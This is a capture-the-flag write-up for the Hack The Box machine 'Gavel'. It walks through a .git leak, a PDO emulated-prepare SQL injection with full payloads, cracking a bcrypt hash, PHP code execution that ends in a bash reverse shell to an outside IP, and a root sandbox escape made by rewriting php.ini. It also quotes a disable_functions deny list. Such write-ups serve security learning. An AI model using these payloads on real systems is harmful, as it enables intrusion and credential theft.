1. RECON

1.1. Port Scan

$ rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A sS -Pn

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/Hhg1nYlWGdi109d6k/OXFg0xbLVuEho3xQqX/DkRDPQ5Y9P6l2XLkbsSscgiQIq3/bHeX6T4mLci0/I/kHeI=
|   256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMYFumAaeF6fOwurP+3zFG7iyLB1XC40te7RWDNVze0x
80/tcp open  http    syn-ack Apache httpd 2.4.52
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-git:
|   10.129.1.32:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: ..
|_http-favicon: Unknown favicon MD5: 954223287BC6EB88C5DD3C79083B91E1
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Gavel Auction
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see .git is downloadable.

1.2. Web App

The main page tells us everything:

htb_gavel_1

This is an Auction platform — items, bids, users. It supports self-registration and login for participating in live auctions:

htb_gavel_2
htb_gavel_3

"Welcome to Gavel 2.0 … rise from its own ashes. Twice." — a versioned PHP system. Legacy deployments may persist, especially exploitable via a .git leak. The exploitation vector is direct.

1.3 Dir Fuzzing

Run dirsearch to brute-force directory paths:

$ dirsearch -u 'http://gavel.htb' -x 404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Target: http://gavel.htb/

[17:21:38] Scanning:
[17:21:50] 301 -   305B - /.git  ->  http://gavel.htb/.git/
[ ... nip ... ]
[17:21:56] 403 -   274B - /.php
[17:22:11] 302 -     0B - /admin.php  ->  index.php
[17:22:31] 301 -   307B - /assets  ->  http://gavel.htb/assets/
[17:22:31] 200 -    2KB - /assets/
[17:23:00] 403 -   274B - /includes/
[17:23:00] 301 -   309B - /includes  ->  http://gavel.htb/includes/
[17:23:00] 200 -   14KB - /index.php
[17:23:00] 200 -   14KB - /index.php/login/
[17:23:06] 200 -    4KB - /login.php
[17:23:07] 302 -     0B - /logout.php  ->  index.php
[17:23:26] 200 -    4KB - /register.php

We've already confirmed the presence of /.git, and /admin.php looks like a privesc vector.

2. WEB

2.1. Git Leak

When the /.git path is exposed, we can run git-dumper to exfiltrate the entire Git repo for the deployed web application. The concepts and usage examples have already been introduced in several earlier posts:

htb_gavel_4

Introducing Hacktag (page link) — a filter for all past posts, letting us search the techniques we've learned so far, with usage and examples pulled from previous writeups. Multiple tags can be combined with AND logic to sharpen desired results.

Bash
# previously installed in Python venvs to avoid conflicts
# now recommended: install via pipx
pipx install git+https://github.com/arthaud/git-dumper

# dump repo to ./loot
git-dumper http://gavel.htb ./loot	

Repo dumped:

$ tree loot -a

loot
├── admin.php
├── assets
[ ... nip ...]
│       ├── jquery
│       │   ├── jquery.js
│       │   ├── jquery.min.js
│       │   ├── jquery.min.map
│       │   ├── jquery.slim.js
│       │   ├── jquery.slim.min.js
│       │   └── jquery.slim.min.map
│       └── jquery-easing
│           ├── jquery.easing.compatibility.js
│           ├── jquery.easing.js
│           └── jquery.easing.min.js
├── bidding.php
├── .git
│   ├── COMMIT_EDITMSG
│   ├── config
│   ├── description
│   ├── HEAD
│   ├── hooks
│   │   ├── applypatch-msg.sample
[ ... nip ...]
├── includes
│   ├── auction.php
│   ├── auction_watcher.php
│   ├── bid_handler.php
│   ├── config.php
│   ├── db.php
│   └── session.php
├── index.php
├── inventory.php
├── login.php
├── logout.php
├── register.php
└── rules
    └── default.yaml

293 directories, 3753 files

2.2. PDO SQL Injection

2.2.1. Snyk Vuln Discovery

Now that we own the source, run Snyk against the repo for a quick vuln sweep:

htb_gavel_5

Snyk immediately highlights a High severity SQL injection in inventory.php, line 21.

Looking at the current Git branch, inventory.php seems to use prepared statements across the board — suggesting the raw SQLi path may have been patched:

htb_gavel_6

2.2.2. Backtick in PHP Prepared Statement

Only one commit touches inventory.php:

$ git log --oneline -- inventory.php
ff27a16 gavel auction ready

git show ff27a16:inventory.php matches the current version byte-for-byte. Meaning: this is the only version we have — no pre-2.0 state to diff against.

Still, Snyk flags the following in inventory.php:21 as vulnerable:

PHP
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';    // tainted
$col      = "`" . str_replace("`", "", $sortItem) . "`";       // still tainted

$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");

From a static analysis POV:

  • $sortItem is derived from user input → tainted
  • $col is directly built from it → still tainted
  • $col is concatenated into an SQL string → SQL sink

At first glance, it may appear safe:

  • Uses PDO::prepare()
  • user_id is bound via a placeholder: ?
  • $sortItem gets sanitized of backticks and wrapped in new ones

Tempting to conclude:

"Backticked column + PDO prepare = no SQLi."

That's where the illusion begins.

2.2.3. Code Review

2.2.3.1. inventory.php

The relevant portion of inventory.php is:

PHP
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId   = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col      = "`" . str_replace("`", "", $sortItem) . "`";

$itemMap  = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");

try {
    if ($sortItem === 'quantity') {
        $stmt = $pdo->prepare("
            SELECT item_name, item_image, item_description, quantity
            FROM inventory
            WHERE user_id = ?
            ORDER BY quantity DESC
        ");
        $stmt->execute([$userId]);
    } else {
        // [!] Vulnerable branch
        $stmt = $pdo->prepare("
            SELECT $col
            FROM inventory
            WHERE user_id = ?
            ORDER BY item_name ASC
        ");
        $stmt->execute([$userId]);
    }
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
    $results = [];
}

Both sort and user_id are attacker-controlled:

  • sort$sortItem$col
  • user_id$userId

Only sort is "sanitized" via backtick stripping. user_id is passed directly into the prepared statement.

The key detail: $col is part of the SQL structure, while user_id is a parameter. This mixture is the crux of a known weakness in MySQL's emulated prepares — detailed in PayloadsAllTheThings.

So what happened?

  • The dev tried patching sort, assuming that wrapping it in backticks makes it safe.
  • But user_id remains raw and can be manipulated into bypassing the structure.
  • Together, they form a composite injection vector across a partially prepared query.

This results in a textbook PDO-based SQL injection — buried inside a seemingly clean prepare() call.

Next: we walk through how emulated prepares parse and why this slips past their guardrails.

2.2.4. Vuln Analysis

The whole magic is in how PDO rewrites the SQL string.

2.2.4.1. Vulnerable Query Shape

The slcyber article illustrates the precise shape of this vuln:

PHP
$col = '`' . $_GET['col'] . '`';
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$_GET['name']]);

When we send:

HTTP
?col=?%23%00     # → "?#\0"
&name=x

Then the prepared statement logic netures our input:

PHP
$col = '`?#\0`';

So the SQL template that PDO receives before prepare emulation:

SQL
SELECT `?#\0` FROM fruit WHERE name = ?

2.2.4.2. PDO Emulated Prepares

When PDO::ATTR_EMULATE_PREPARES = true (default for MySQL), PDO does something like:

  1. Take the SQL template string.
  2. Scan through it looking for the parameter markers (? or :name).
  3. For each parameter, replace that ? with a quoted version of the parameter value:
    • For name = "x", it builds '<escaped_value>''x'.
  4. Send the rewritten SQL string to MySQL.

Conceptually:

PHP
$template = "SELECT `?#\0` FROM fruit WHERE name = ?";
param     = "x";
// emulated prepare:
final = "SELECT `?#\0` FROM fruit WHERE name = 'x'";

Here's the catch:

PDO thinks the ? inside the backticks is the placeholder — not the one in WHERE.

That's the misfire. It replaces the wrong ?.

2.2.4.3. PDO Substitution

So it ends up doing:

SQL
SELECT `\?#\0` FROM fruit WHERE name = ?

Now PDO will prepare with statement with the first wrong ?, instead of the latter real one:

SELECT `\?#\0` FROM fruit WHERE name = ?
         ^                             ^ 
         |                             └── real bound param
         └── wrong bound param

So if we injects the query parameter name with payload:

name=x`;#

After PDO prepares using the first wrong ?, the whole query string becomes:

SQL
SELECT `'x`;#'#\0` FROM fruit WHERE name = ?

This is equivalent to:

SQL
SELECT `'x`;

BOOM. Full query detonation via placeholder confusion.

2.2.4.4. SubQuery Injection

Keep the col gadget (\?#\0), upgrade the name param:

HTTP
?col=\?%23%00	       
&name=x` FROM (SELECT table_name AS `'x` FROM information_schema.tables)y;%23

So again template before prepare:

SQL
SELECT `\?#\0` FROM fruit WHERE name = ?

This time the injected param name becomes:

SQL
x` FROM (SELECT table_name AS `'x` FROM information_schema.tables) y;#

PDO:

  • Quotes and escapes this whole thing.
  • Injects it in place of that first ? inside the backticked identifier.

The final, after-prepare SQL looks like:

SQL
SELECT `\'x` FROM (
    SELECT table_name AS `\'x`
    FROM information_schema.tables
) y;#'#\0` FROM fruit WHERE name = ?

Everything after # is comment garbage. So the effective SQL query is:

SQL
SELECT `\'x` FROM (
    SELECT table_name AS `\'x`
    FROM information_schema.tables
) y;

That's the actual effective query:

  • We select the column \'x (coming from the subquery alias)
  • From the derived table y which returns table_name values
  • The #'#\0\..FROM..WHERE name = ? part is in a comment and never executed

SQL injection to bypass PDO parsing done.

That final y is not a table name in the database. It is a table alias given to the sub-query directly above it. SQL syntax requires:

SQL
( SELECT ... ) alias

So this:

SQL
(SELECT table_name AS `\'x` FROM information_schema.tables)

produces a temporary virtual table with one column: \'x. But but SQL requires that virtual table to have a name — we choose a random one "y".

2.2.5. SQL Injection

Understanding how the quirk works, we pivot back to the Gavel box.

From inventory.php:

PHP
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId   = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col      = "`" . str_replace("`", "", $sortItem) . "`";

$stmt = $pdo->prepare("
    SELECT $col
    FROM inventory
    WHERE user_id = ?
    ORDER BY item_name ASC
");
$stmt->execute([$userId]);
  • sort → controls $col → the SQL fragment (like col in previous example)
  • user_id → is the bound parameter to ? (like name in previous example)

The idea is simple:

  1. Use sort to inject the confusion gadget (i.e., "\?#\0")
  2. Use user_id to inject the real SQL payload

Just login normally to set $_SESSION['user']. Navigate to the inventory page and adjust the sort dropdown.

htb_gavel_7

Intercept the request in Burp and swap in the following payloads:

user_id = x`+FROM+(SELECT+table_name+AS+`'x`+from+information_schema.tables)y;--+-
sort    = \?--+-%00

Since the backend wraps user input in double quotes, we escape the placeholder with \, and comment out the remainder with -- - instead of #:

htb_gavel_8

Jackpot — users table recovered.

So we keep exactly that structure, and only mutate the inner SELECT. We swap in a new subquery:

SQL
SELECT table_name AS '\'x'
FROM information_schema.tables

To enumerate columns from the users table:

SQL
SELECT column_name AS '\'x'
FROM information_schema.columns
WHERE table_schema = database()
  AND table_name   = 'users';

To avoid quote hell, we can use hex for 'users'0x7573657273. So our new user_id payload becomes:

SQL
x`+FROM+(
  SELECT+column_name+AS+`'x`+
  FROM+information_schema.columns+
  WHERE+table_schema=database()+
    AND+table_name=0x7573657273
)y;--+-

Keep sort untouched. Flattened for Burp Repeater:

SQL
x`+FROM+(SELECT+column_name+AS+`'x`+from+information_schema.columns+WHERE+table_schema=database()+AND+table_name=0x7573657273)y;--+-
htb_gavel_9

Columns found: id, username, password.

Final strike: exfil username:password pairs:

SQL
SELECT CONCAT(username, 0x3a, password) AS '\'x'
FROM users;

Payload:

SQL
x`+FROM+(
  SELECT+CONCAT(username,0x3a,password)+AS+`'x`+
  from+users
)y;--+-

Flattened:

SQL
x`+FROM+(SELECT+CONCAT(username,0x3a,password)+AS+`'x`+from+users)y;--+-
htb_gavel_10

Exfil hash:

auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS

Bcrypt, cost 10, cheap. Crack it with hashcat mode 3200:

$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So...H5RTfS

2.3. Arbitrary Code Execution

Re-login to the auction platform using the cracked credentials auctioneer / midnight1:

htb_gavel_11

Welcome to the Admin Panel.

2.3.1. Code Review

Now we can access the admin panel, which corresponds to admin.php from the leaked source code.

2.3.1.1. admin.php

Key logic of admin.php:

PHP
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $auction_id = intval($_POST['auction_id'] ?? 0);
    $rule    = trim($_POST['rule'] ?? '');
    $message = trim($_POST['message'] ?? '');

    if ($auction_id > 0 && (empty($rule) || empty($message))) {
        $stmt = $pdo->prepare("SELECT rule, message FROM auctions WHERE id = ?");
        $stmt->execute([$auction_id]);
        $row = $stmt->fetch(PDO::FETCH_ASSOC);
        ...
        if (empty($rule))    $rule = $row['rule'];
        if (empty($message)) $message = $row['message'];
    }

    if ($auction_id > 0 && $rule && $message) {
        $stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
        $stmt->execute([$rule, $message, $auction_id]);
        $_SESSION['success'] = 'Rule and message updated successfully!';
        header('Location: admin.php');
        exit;
    }
}

We (as auctioneer) control:

  • auction_id
  • rule
  • message

Those values are written verbatim into auctions.rule and auctions.message using prepared statements. So rule is an arbitrary string in the DB we fully control.

2.3.1.2. auction_watcher.php

Auctions and rules are created via includes/auction_watcher.php:

PHP
$rules = yaml_parse_file(ROOT_PATH . '/rules/default.yaml');
...
$selectedRule = $rules['rules'][array_rand($rules['rules'])];

$stmt = $pdo->prepare("INSERT INTO auctions
    (item_name, ..., rule, message, started_at, ends_at, status)
    VALUES (..., :rule, :message, NOW(), ..., 'active')");
$stmt->execute([
    ...
    'rule'    => $selectedRule['rule'],
    'message' => $selectedRule['message']
]);

$auctionId = $pdo->lastInsertId();
file_put_contents(ROOT_PATH . '/rules/auction_' . $auctionId . '.yaml', yaml_emit($selectedRule));

So:

  • Defaults come from rules/default.yaml.
  • For each auction, we get:
    • DB row with rule + message.
    • YAML file /rules/auction_<id>.yaml with the same content.

But at this point rules are still just data. The exploit entry comes from how these rules are evaluated.

2.3.1.2. bidding.php

bidding.php renders the auction interface:

PHP
$auctions = get_all_active_auctions($pdo);

...

<p class="mb-1 text-justify">
  <strong>Message:</strong> <?= $auction['message'] ?>
</p>
...
<form class="bidForm mt-4" method="POST">
    <input type="hidden" name="auction_id" value="<?= $auction['id'] ?>">
    <input type="number" name="bid_amount" ...>
</form>

The actual bidding is handled by AJAX → includes/bid_handler.php:

PHP
const response = await fetch('includes/bid_handler.php', {
    method: 'POST',
    body: formData
});
const result = await response.json();

2.3.1.3. bid_handler.php

The payload goes live under includes/bid_handler.php:

PHP
$rule = $auction['rule'];
$rule_message = $auction['message'];

$allowed = false;

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log("Rule error: " . $e->getMessage());
    $allowed = false;
}

$rule comes directly from the DB (auctions.rule). They dynamically define a function:

PHP
runkit_function_add(
    'ruleCheck',
    '$current_bid, $previous_bid, $bidder',
    $rule                 // <- this is literally the function body
);

Then they call it:

PHP
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);

So our rule string is treated as raw PHP source, dropped inside:

PHP
function ruleCheck($current_bid, $previous_bid, $bidder) {
	  // <contents of $rule>
}

This is even worse than eval($rule) — it's persistent between calls until they remove it.

Before the rule executes, bid_handler enforces some checks:

PHP
if (!$auction || $auction['status'] !== 'active' || strtotime($auction['ends_at']) < time()) { ... }

if ($bid_amount <= 0) { ... }

if ($bid_amount <= $auction['current_price']) { ... }

$stmt = $pdo->prepare("SELECT money FROM users WHERE id = ?");
...
if (!$user || $user['money'] < $bid_amount) { ... }

So to trigger the rule / RCE:

  • auction_id must be an active auction.
  • Auction must not be expired.
  • bid_amount > 0.
  • bid_amount > current price.

We must have enough money to cover the chosen bid, which we do as the web admin:

htb_gavel_12

After all that:

PHP
$current_bid   = $bid_amount;
$previous_bid  = $auction['current_price'];
$bidder        = $username;

$rule          = $auction['rule'];     // injection payload
$rule_message  = $auction['message'];  

... then runkit_function_add(...)
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);

Our payload returns true, so we get both:

  • Arbitrary PHP code execution
  • And a seemingly successful bid.

2.3.2. RCE

With full control of the auctioneer account — and effectively unlimited funds — we can overwrite the rule and message fields of any active auction:

SQL
UPDATE auctions SET rule = ?, message = ? WHERE id = ?

This is intended for dynamic bidding rules, but since rule is injected into a runtime function body via runkit_function_add(), we can execute arbitrary PHP.

Replace the rule for any active auction with a reverse shell payload:

PHP
system('bash -c "bash -i >& /dev/tcp/10.10.8.12/60001 0>&1"'); 
return true;
htb_gavel_13

Now auctions.rule for the chosen auction literally contains that PHP code. Then bid the chosen auction from bidding.php:

htb_gavel_14

Reverse shell capture:

htb_gavel_15

Web root www-data account compromised

3. USER

From /etc/passwd, we identify a valid local user with an interactive shell:

/etc/passwd
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash

We reuse the previously cracked credentials for auctioneer:

htb_gavel_16

User flag secured.

Reviewing /etc/ssh/sshd_config revealed the following hardening rule:

/etc/ssh/sshd_config
DenyUsers auctioneer

This blocks SSH access for the auctioneer account — password or key-based — entirely.

To maintain a stable shell session for escalation, spawn a TTY via:

Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

From here, we're live inside the user context.

4. ROOT

4.1. Privesc Vector

From the id output, we confirm that auctioneer is a member of an extra group gavel-seller:

auctioneer@gavel:~$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)

LinPEAS yields a few leads:

╔══════════╣ Executable files potentially added by user (limit 70)
2025-11-05+12:22:00.2439899130 /etc/console-setup/cached_setup_terminal.sh
2025-11-05+12:22:00.2439899130 /etc/console-setup/cached_setup_keyboard.sh
2025-11-05+12:22:00.2439899130 /etc/console-setup/cached_setup_font.sh
2025-11-04+13:32:46.0879923990 /usr/local/sbin/laurel
2025-10-03+19:35:58.6240656280 /usr/local/bin/gavel-util
2025-10-03+18:37:42.7123377970 /var/www/html/gavel/rules/default.yaml

That binary — /usr/local/bin/gavel-util — immediately stands out. Inspect it:

htb_gavel_17

This non-stripped, root-owned, YAML-parsing, command-executing binary is almost certainly the privilege escalation fuel.

4.2. Gavel Client

4.2.1. Reversing

Download the target binary, load it into IDA. The binary is non-stripped and decompiles cleanly. It supports the following commands:

  • submit <file>
  • stats
  • invoice

For submit <file>, the logic is:

C
v5 = argv[2];
stat(v5, &buf);                     // check file exists & is regular file
if ((buf.st_mode & 0xF000) == 0x8000) { // regular file
    if (buf.st_size > 10485760) {
        // file too large
    } else {
        v6 = fopen(v5, "rb");
        ...
        v8 = malloc(buf.st_size);
        fread(v8, 1, buf.st_size, v6);
        fclose(v6);

        v14 = connect_sock();      // connect to /var/run/gaveld.sock
        if (v14 >= 0) {
            v15 = json_object_new_object();
            json_object_object_add(v15, "op", json_object_new_string("submit"));
            json_object_object_add(v15, "filename", json_object_new_string(v5));
            json_object_object_add(v15, "flags", json_object_new_string(""));
            json_object_object_add(v15, "content_length", json_object_new_int(st_size));
            v20 = collect_env();
            json_object_object_add(v15, "env", v20);

            send_header_and_content(v14);
            json_object_put(v15, v15);
            free(v9);

            v21 = recv_response(v14);
            ...
            close(v14);
        }
    }
}

In short: the binary reads the file (v5) into memory, and constructs a JSON payload:

JSON
{
  "op": "submit",
  "filename": "<argv[2]>",
  "flags": "",
  "content_length": <file_size>,
  "env": { ... from collect_env() ... }
}

The payload is dispatched over the Unix socket at /var/run/gaveld.sock.

So, to be clear: gavel-util is just a thin client wrapper. The real logic — and privilege boundary — lives in gaveld, the daemon on the other end of that socket.

4.3. Gavel Server

We locate the server-side binary gaveld:

auctioneer@gavel:~$ ps -ef | grep gavel
root        1047       1  0 Nov29 ?        00:00:00 /opt/gavel/gaveld
root        1054       1  0 Nov29 ?        00:01:55 python3 /root/scripts/timeout_gavel.py
root      133422    1047  0 08:28 ?        00:00:00 [gaveld] <defunct>
auction+  135228   89886  0 08:36 pts/0    00:00:00 grep gavel

Directory content confirms:

auctioneer@gavel:~$ cd /opt/gavel && ls
gaveld  sample.yaml  submission

Inside sample.yaml, we find:

YAML
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

We don't even need to reverse it to smell it — the rule string is raw PHP logic using $current_bid, $previous_bid, and $bidder, exactly like the web layer.

4.3.1. Reversing

Still, we reverse it — because it's simple and worth the certainty.

Download /opt/gavel/gaveld. Inside, we immediately identify the key vulnerability: php_safe_run.

htb_gavel_18

Signature:

C
_BOOL8 __fastcall php_safe_run(__int64 a1, const char *a2, const char *a3, __int64 a4)
  • a1 – JSON header object (the one built from the client request).
  • a2 – the rule string (PHP code from YAML: item.rule).
  • a3 – buffer where PHP output will be stored (char*).
  • a4 – size of that buffer.

Now the meat.

4.3.1.1. Env Hijacking

The function first inspects the JSON object for a config override:

C
v15 = 0;
json_object_object_get_ex(a1, &unk_5004, &v15);
if ( v15
  && json_object_is_type(v15, 4)           // type == object
  && json_object_object_get_ex(v15, "RULE_PATH", &rlimits) )
{
    string = json_object_get_string(rlimits.rlim_cur);
    strncpy(dest, "/opt/gavel/.config/php/php.ini", 0x1000);
    v20 = 0;
    if (string && *string &&
        !stat(string, &buf) &&
        (buf.st_mode & 0xF000) == 0x8000 &&   // regular file
        !access(string, 4))                   // readable
    {
        strncpy(dest, string, 0x1000);
        v20 = 0;
    }
}
else {
    strncpy(dest, "/opt/gavel/.config/php/php.ini", 0x1000);
    v20 = 0;
}

Meaning:

  • If the JSON contains an "env" object with a "RULE_PATH" key,
  • And that file exists, is readable, and is a regular file,
  • It will override the default php.ini with our supplied path.

And since gavel-util includes an "env" object built from collect_env(), we can inject RULE_PATH=/tmp/own.ini as a real per-request PHP config override.

4.3.1.2. PHP Code Construction

The PHP code it constructs:

C
__snprintf_chk(
    v21,
    0x2000,
    1,
    0x2000,
    "function __sandbox_eval() {$previous_bid=%ld;$current_bid=%ld;$bidder='%s';%s};"
    "$res = __sandbox_eval();"
    "if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }"
    "else if($res) { echo 'ILLEGAL_RULE'; }",
    150,
    200,
    "Shadow21A",
    a2);

So v21 becomes PHP code like:

PHP
function __sandbox_eval() {
    $previous_bid = 150;
    $current_bid  = 200;
    $bidder       = 'Shadow21A';
    <OUR RULE HERE>;
};

$res = __sandbox_eval();
if (!is_bool($res)) {
    echo 'SANDBOX_RETURN_ERROR';
} else if ($res) {
    echo 'ILLEGAL_RULE';
}

So our injected rule is dropped verbatim inside the body of __sandbox_eval().

  • No sandboxing of effects — only the return value is checked.
  • No restrictions on file_put_contents, system, shell_exec, etc., unless disabled in the selected php.ini.
  • It only cares about:
    • Return type must be boolean
    • If true → prints ILLEGAL_RULE
    • If not boolean → SANDBOX_RETURN_ERROR

They do not sanitize or restrict the payload in here.

4.3.1.4. PHP Code Execution

Then comes the actual execution via execv(...). The call is built using a stat struct:

C
*(_QWORD *)&buf.st_mode = dest;               // argv[0] == php.ini path for "-c" later
buf.st_dev    = "/usr/bin/php";               // argv[0] for execv
buf.st_ino    = "-n";
buf.st_nlink  = "-c";
*(_QWORD *)&buf.st_gid = "-d";
buf.st_rdev   = "display_errors=1";
buf.st_size   = "-r";
buf.st_blksize = (blksize_t)v21;              // the PHP code string
buf.st_blocks = 0;

Given how execv is called:

C
execv((const char *)buf.st_dev, (char *const *)&buf);

This roughly becomes:

C
char *argv[] = {
    "/usr/bin/php",
    "-n",
    "-c",
    dest,                 // php.ini path (default or RULE_PATH)
    "-d",
    "display_errors=1",
    "-r",
    v21,                  // the constructed PHP code
    NULL
};

execv("/usr/bin/php", argv);

So in full:

Bash
/usr/bin/php -n -c path/to/php.ini -d display_errors=1 -r '<injected PHP>'

We're executing raw PHP with a custom config file, under root, without isolation.

4.4. Exploit

Putting it all together:

  1. gaveld runs as root.
  2. For each submission, it calls php_safe_run to test your YAML item.rule.
  3. php_safe_run:
    • Runs your PHP code inside __sandbox_eval() via /usr/bin/php -c <php.ini> -r <code>.
    • Uses php.ini either from:
      • Default /opt/gavel/.config/php/php.ini, or
      • RULE_PATH from JSON env (fed from environment variable RULE_PATH).

So the idea is simple: If we inject our own php.ini, we gain full control over the PHP environment running as root.

There are thousands of exploit paths for this binary — especially since we hold write primitives targeting gaveld.

Below, we spotlight two levers:

4.4.1. Lever A | RULE_PATH override

Because the client (gavel-util) uses collect_env() to capture environment variables, we can inject RULE_PATH like so:

Bash
export RULE_PATH=/tmp/evil.ini
gavel-util submit good.yaml

This results in:

JSON
"env": {
  "RULE_PATH": "/tmp/evil.ini"
}

And php_safe_run should have honored that override if the file is:

  • Regular (stat() check),
  • Readable (access() check).

So we drop our payload config:

Bash
cat > /tmp/evil.ini << 'EOF'
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALLa

; hijack open dir
open_basedir=/

; clear all disables
disable_functions=

; optional
scan_dir=
EOF

That clears out every restriction — no open_basedir, no disable_functions, fully armed interpreter.

Then prepare the rule YAML:

Bash
cat > /tmp/test.yaml << 'EOF'
name: "test"
description: "test"
image: "https://x"
price: 1
rule_msg: "test"
rule: "system('whoami > /tmp/pwned.txt'); return false;"
EOF

Trigger:

Bash
RULE_PATH=/tmp/evil.ini test.yaml

Expectation: pwned.txt gets written by root. Reality:

htb_gavel_20

It failed.

Suspecting our custom ini never loaded, we build a probe payload:

Bash
cat > /tmp/check_phpini.yaml << 'EOF'
name: "CheckIni"
description: "Check PHP config"
image: "https://x"
price: 1
rule_msg: "test"
rule: "echo ini_get('open_basedir') . '|' . ini_get('disable_functions'); return false;"
EOF

Then strace the call:

Bash
RULE_PATH=/tmp/evil.ini \
          strace -ff -s 500 -o /tmp/gavel_env.trace \
         gavel-util submit /tmp/check_phpini.yaml
htb_gavel_19

With the env passing, the output strace log did break the /opt/gavel path restriction though. Client-side JSON confirms:

JSON
{
  "op": "submit",
  "filename": "/tmp/check_phpini.yaml.yaml",
  "env": {
    "RULE_PATH": "/tmp/evil.ini",
    ...
  }
}

So: RULE_PATH is received and injected into the request payload — this reaches the daemon, intact.

On the server side, php_safe_run():

  • Extracts the env object,
  • Looks up RULE_PATH,
  • Confirms it exists and is readable via stat() + access(),
  • Then sets dest = RULE_PATH.

However, the possible reason could be the daemon builds its PHP execution as:

Bash
/usr/bin/php -n -c dest -d display_errors=1 -r "function __sandbox_eval(){...rule...}; $res = __sandbox_eval(); ..."

And -n — that's the death flag. It explicitly disables all configuration loading (?), even if -c is set.

The box creator nukes this entire vector with a hardcoded php.ini—enforced via php -n?

4.4.1. Lever B | Evil rules

The sample YAML contains:

YAML
item:
  ...
  rule: " <our PHP code> "

Which gets compiled into:

PHP
function __sandbox_eval() {
    $previous_bid = 150;
    $current_bid  = 200;
    $bidder       = 'Shadow21A';
    <our PHP code>;
}

Inside that, we can run anything permitted by /opt/gavel/.config/php/php.ini:

INI
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
  • Includes and most "dangerous" meta constructs (eval, assert, unserialize, extract, etc.) are neutered.
  • open_basedir=/opt/gavel means any filesystem access outside /opt/gavel is blocked by PHP itself.

Still, the sandbox is tissue-thin:

  • Write primitives under /opt/gavel:
    • file_put_contents(), copy(), rename(), unlink(), mkdir(), chmod()
  • Read primitives inside /opt/gavel:
    • file(), scandir(), glob()
  • Arbitrary PHP logic:
    • String ops, control flow, arithmetic, variable injection ($bidder, etc.)

Our primitive:

Arbitrary PHP running as root (via gaveld), allowed to read/write anywhere under /opt/gavel, but no direct shell or FS escape.

Instead of abusing the rule for logic — we abuse it for side-effects.

Write a rule that rewrites the daemon's php.ini, then returns false to fail gracefully:

Bash
cat > /tmp/hackini.yaml << 'EOF'
name: "hackini"
description: "Relax the sandbox"
image: "https://x"
price: 1
rule_msg: "config updated"
rule: "
file_put_contents(
    '/opt/gavel/.config/php/php.ini',
    \"engine=On\n\" .
    \"display_errors=On\n\" .
    \"display_startup_errors=On\n\" .
    \"log_errors=Off\n\" .
    \"error_reporting=E_ALL\n\" .
    \"open_basedir=/\n\" .
    \"disable_functions=\n\" .
    \"scan_dir=\n\" .
    \"allow_url_fopen=Off\n\" .
    \"allow_url_include=Off\n\"
);
return false;
"
EOF

Now trigger:

Bash
gavel-util submit /tmp/hackini.yaml

What happens:

  • gavel-util sends our YAML over the socket.
  • gaveld parses and calls php_safe_run() as root.
